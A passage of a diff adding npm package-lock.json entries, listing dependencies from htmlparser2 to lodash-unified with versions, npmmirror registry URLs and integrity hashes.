[ + "https://github.com/fb55/htmlparser2?sponsor=1", + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.0.0", + "domutils": "^2.5.2", + "entities": "^2.0.0" + } + }, + "node_modules/htmlparser2/node_modules/entities": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", + "dev": true, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/http-deceiver": { + "version": "1.2.7", + "resolved": "https://registry.npmmirror.com/http-deceiver/-/http-deceiver-1.2.7.tgz", + "integrity": "sha512-LmpOGxTfbpgtGVxJrj5k7asXHCgNZp5nLfp+hWc8QQRqtb7fUy6kRY3BO1h9ddF6yIPYUARgxGOwB42DnxIaNw==", + "dev": true + }, + "node_modules/http-errors": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/http-errors/-/http-errors-2.0.0.tgz", + "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", + "dev": true, + "dependencies": { + "depd": "2.0.0", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "toidentifier": "1.0.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/http-parser-js": { + "version": "0.5.8", + "resolved": "https://registry.npmmirror.com/http-parser-js/-/http-parser-js-0.5.8.tgz", + "integrity": "sha512-SGeBX54F94Wgu5RH3X5jsDtf4eHyRogWX1XGT3b4HuW3tQPM4AaBzoUji/4AAJNXCEOWZ5O0DgZmJw1947gD5Q==", + "dev": true + }, + "node_modules/http-proxy": { + "version": "1.18.1", + "resolved": "https://registry.npmmirror.com/http-proxy/-/http-proxy-1.18.1.tgz", + "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==", + "dev": true, + "dependencies": { + "eventemitter3": "^4.0.0", + "follow-redirects": "^1.0.0", + "requires-port": "^1.0.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/http-proxy-middleware": { + "version": "2.0.7", + "resolved": "https://registry.npmmirror.com/http-proxy-middleware/-/http-proxy-middleware-2.0.7.tgz", + "integrity": "sha512-fgVY8AV7qU7z/MmXJ/rxwbrtQH4jBQ9m7kp3llF0liB7glmFeVZFBepQb32T3y8n8k2+AEYuMPCpinYW+/CuRA==", + "dev": true, + "dependencies": { + "@types/http-proxy": "^1.17.8", + "http-proxy": "^1.18.1", + "is-glob": "^4.0.1", + "is-plain-obj": "^3.0.0", + "micromatch": "^4.0.2" + }, + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "@types/express": "^4.17.13" + }, + "peerDependenciesMeta": { + "@types/express": { + "optional": true + } + } + }, + "node_modules/human-signals": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/human-signals/-/human-signals-2.1.0.tgz", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", + "dev": true, + "engines": { + "node": ">=10.17.0" + } + }, + "node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmmirror.com/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dev": true, + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/icss-utils": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/icss-utils/-/icss-utils-5.1.0.tgz", + "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/ignore": { + "version": "4.0.6", + "resolved": "https://registry.npmmirror.com/ignore/-/ignore-4.0.6.tgz", + "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/immediate": { + "version": "3.0.6", + "resolved": "https://registry.npmmirror.com/immediate/-/immediate-3.0.6.tgz", + "integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==" + }, + "node_modules/import-fresh": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/import-fresh/-/import-fresh-3.3.0.tgz", + "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", + "dev": true, + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmmirror.com/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "dev": true, + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmmirror.com/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", + "dev": true, + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "node_modules/ipaddr.js": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/ipaddr.js/-/ipaddr.js-2.2.0.tgz", + "integrity": "sha512-Ag3wB2o37wslZS19hZqorUnrnzSkpOVy+IiiDEiTqNubEYpYuHWIf6K4psgN2ZWKExS4xhVCrRVfb/wfW8fWJA==", + "dev": true, + "engines": { + "node": ">= 10" + } + }, + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmmirror.com/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", + "dev": true + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-ci": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/is-ci/-/is-ci-1.2.1.tgz", + "integrity": "sha512-s6tfsaQaQi3JNciBH6shVqEDvhGut0SUXr31ag8Pd8BBbVVlcGfWhpPmEOoM6RJ5TFhbypvf5yyRw/VXW1IiWg==", + "dev": true, + "dependencies": { + "ci-info": "^1.5.0" + }, + "bin": { + "is-ci": "bin.js" + } + }, + "node_modules/is-core-module": { + "version": "2.15.1", + "resolved": "https://registry.npmmirror.com/is-core-module/-/is-core-module-2.15.1.tgz", + "integrity": "sha512-z0vtXSwucUJtANQWldhbtbt7BnL0vxiFjIdDLAatwhDYty2bad6s+rijD6Ri4YuYJubLzIJLUidCh09e1djEVQ==", + "dev": true, + "dependencies": { + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-docker": { + "version": "2.2.1", + "resolved": "https://registry.npmmirror.com/is-docker/-/is-docker-2.2.1.tgz", + "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==", + "dev": true, + "bin": { + "is-docker": "cli.js" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-file-esm": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/is-file-esm/-/is-file-esm-1.0.0.tgz", + "integrity": "sha512-rZlaNKb4Mr8WlRu2A9XdeoKgnO5aA53XdPHgCKVyCrQ/rWi89RET1+bq37Ru46obaQXeiX4vmFIm1vks41hoSA==", + "dev": true, + "dependencies": { + "read-pkg-up": "^7.0.1" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-interactive": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/is-interactive/-/is-interactive-1.0.0.tgz", + "integrity": "sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-plain-obj": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/is-plain-obj/-/is-plain-obj-3.0.0.tgz", + "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-plain-object": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/is-plain-object/-/is-plain-object-2.0.4.tgz", + "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", + "dev": true, + "dependencies": { + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-stream": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/is-stream/-/is-stream-1.1.0.tgz", + "integrity": "sha512-uQPm8kcs47jx38atAcWTVxyltQYoPT68y9aWYdV6yWXSyW8mzSat0TL6CiWdZeCdF3KrAvpVtnHbTv4RN+rqdQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-unicode-supported": { + "version": "0.1.0", + "resolved": "https://registry.npmmirror.com/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", + "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-wsl": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/is-wsl/-/is-wsl-2.2.0.tgz", + "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", + "dev": true, + "dependencies": { + "is-docker": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==" + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true + }, + "node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/javascript-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/javascript-stringify/-/javascript-stringify-2.1.0.tgz", + "integrity": "sha512-JVAfqNPTvNq3sB/VHQJAFxN/sPgKnsKrCwyRt15zwNCdrMMJDdcEOdubuy+DuJYYdm0ox1J4uzEuYKkN+9yhVg==", + "dev": true + }, + "node_modules/jest-worker": { + "version": "27.5.1", + "resolved": "https://registry.npmmirror.com/jest-worker/-/jest-worker-27.5.1.tgz", + "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", + "dev": true, + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/jest-worker/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/joi": { + "version": "17.13.3", + "resolved": "https://registry.npmmirror.com/joi/-/joi-17.13.3.tgz", + "integrity": "sha512-otDA4ldcIx+ZXsKHWmp0YizCweVRZG96J10b0FevjfuncLO1oX59THoAmHkNubYJ+9gWsYsp5k8v4ib6oDv1fA==", + "dev": true, + "dependencies": { + "@hapi/hoek": "^9.3.0", + "@hapi/topo": "^5.1.0", + "@sideway/address": "^4.1.5", + "@sideway/formula": "^3.0.1", + "@sideway/pinpoint": "^2.0.0" + } + }, + "node_modules/jquery": { + "version": "3.7.1", + "resolved": "https://registry.npmmirror.com/jquery/-/jquery-3.7.1.tgz", + "integrity": "sha512-m4avr8yL8kmFN8psrbFFFmB/If14iN5o9nw/NgnnM+kybDJpRsAynV2BsfpTYrTRysYUdADVD7CkUUizgkpLfg==" + }, + "node_modules/js-message": { + "version": "1.0.7", + "resolved": "https://registry.npmmirror.com/js-message/-/js-message-1.0.7.tgz", + "integrity": "sha512-efJLHhLjIyKRewNS9EGZ4UpI8NguuL6fKkhRxVuMmrGV2xN/0APGdQYwLFky5w9naebSZ0OwAGp0G6/2Cg90rA==", + "dev": true, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "dev": true + }, + "node_modules/js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmmirror.com/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "dev": true, + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsesc": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/jsesc/-/jsesc-3.0.2.tgz", + "integrity": "sha512-xKqzzWXDttJuOcawBt4KnKHHIf5oQ/Cxax+0PWFG+DFDgHNAdi+TXECADI+RYiFUMmx8792xsMbbgXj4CwnP4g==", + "dev": true, + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true + }, + "node_modules/json-parse-better-errors": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", + "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==", + "dev": true + }, + "node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==", + "dev": true + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", + "dev": true + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmmirror.com/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsonfile": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "dev": true, + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/jszip": { + "version": "3.10.1", + "resolved": "https://registry.npmmirror.com/jszip/-/jszip-3.10.1.tgz", + "integrity": "sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g==", + "dependencies": { + "lie": "~3.3.0", + "pako": "~1.0.2", + "readable-stream": "~2.3.6", + "setimmediate": "^1.0.5" + } + }, + "node_modules/jwt-decode": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/jwt-decode/-/jwt-decode-4.0.0.tgz", + "integrity": "sha512-+KJGIyHgkGuIq3IEBNftfhW/LfWhXUIY6OmyVWjliu5KH1y0fw7VQ8YndE2O4qZdMSd9SqbnC8GOcZEy0Om7sA==", + "engines": { + "node": ">=18" + } + }, + "node_modules/keyv": { + "version": "4.5.4", + "resolved": "https://registry.npmmirror.com/keyv/-/keyv-4.5.4.tgz", + "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", + "dev": true, + "dependencies": { + "json-buffer": "3.0.1" + } + }, + "node_modules/kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmmirror.com/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/klona": { + "version": "2.0.6", + "resolved": "https://registry.npmmirror.com/klona/-/klona-2.0.6.tgz", + "integrity": "sha512-dhG34DXATL5hSxJbIexCft8FChFXtmskoZYnoPWjXQuebWYCNkVeV3KkGegCK9CP1oswI/vQibS2GY7Em/sJJA==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/launch-editor": { + "version": "2.9.1", + "resolved": "https://registry.npmmirror.com/launch-editor/-/launch-editor-2.9.1.tgz", + "integrity": "sha512-Gcnl4Bd+hRO9P9icCP/RVVT2o8SFlPXofuCxvA2SaZuH45whSvf5p8x5oih5ftLiVhEI4sp5xDY+R+b3zJBh5w==", + "dev": true, + "dependencies": { + "picocolors": "^1.0.0", + "shell-quote": "^1.8.1" + } + }, + "node_modules/launch-editor-middleware": { + "version": "2.9.1", + "resolved": "https://registry.npmmirror.com/launch-editor-middleware/-/launch-editor-middleware-2.9.1.tgz", + "integrity": "sha512-4wF6AtPtaIENiZdH/a+3yW8Xni7uxzTEDd1z+gH00hUWBCSmQknFohznMd9BWhLk8MXObeB5ir69GbIr9qFW1w==", + "dev": true, + "dependencies": { + "launch-editor": "^2.9.1" + } + }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://registry.npmmirror.com/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "dev": true, + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/lie": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/lie/-/lie-3.3.0.tgz", + "integrity": "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==", + "dependencies": { + "immediate": "~3.0.5" + } + }, + "node_modules/lilconfig": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/lilconfig/-/lilconfig-2.1.0.tgz", + "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmmirror.com/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", + "dev": true + }, + "node_modules/loader-runner": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/loader-runner/-/loader-runner-4.3.0.tgz", + "integrity": "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg==", + "dev": true, + "engines": { + "node": ">=6.11.5" + } + }, + "node_modules/loader-utils": { + "version": "1.4.2", + "resolved": "https://registry.npmmirror.com/loader-utils/-/loader-utils-1.4.2.tgz", + "integrity": "sha512-I5d00Pd/jwMD2QCduo657+YM/6L3KZu++pmX9VFncxaxvHcru9jx1lBaFft+r4Mt2jK0Yhp41XlRAihzPxHNCg==", + "dev": true, + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^1.0.1" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/loader-utils/node_modules/json5": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/json5/-/json5-1.0.2.tgz", + "integrity": "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==", + "dev": true, + "dependencies": { + "minimist": "^1.2.0" + }, + "bin": { + "json5": "lib/cli.js" + } + }, + "node_modules/local-pkg": { + "version": "0.5.1", + "resolved": "https://registry.npmmirror.com/local-pkg/-/local-pkg-0.5.1.tgz", + "integrity": "sha512-9rrA30MRRP3gBD3HTGnC6cDFpaE1kVDWxWgqWJUN0RvDNAo+Nz/9GxB+nHOH0ifbVFy0hSA1V6vFDvnx54lTEQ==", + "dev": true, + "dependencies": { + "mlly": "^1.7.3", + "pkg-types": "^1.2.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmmirror.com/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" + }, + "node_modules/lodash-es": { + "version": "4.17.21", + "resolved": "https://registry.npmmirror.com/lodash-es/-/lodash-es-4.17.21.tgz", + "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==" + }, + "node_modules/lodash-unified": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/lodash-unified/-/lodash-unified-1.0.3.tgz", + "integrity": "sha512-WK9qSozxXOD7ZJQlpSqOT+om2ZfcT4yO+03FuzAHD0wF6S0l0090LRPDx3vhTTLZ8cFKpBn+IOcVXK6qOcIlfQ==", + "peerDependencies": { + "@types/lodash-es": "*", + "lodash": "*", 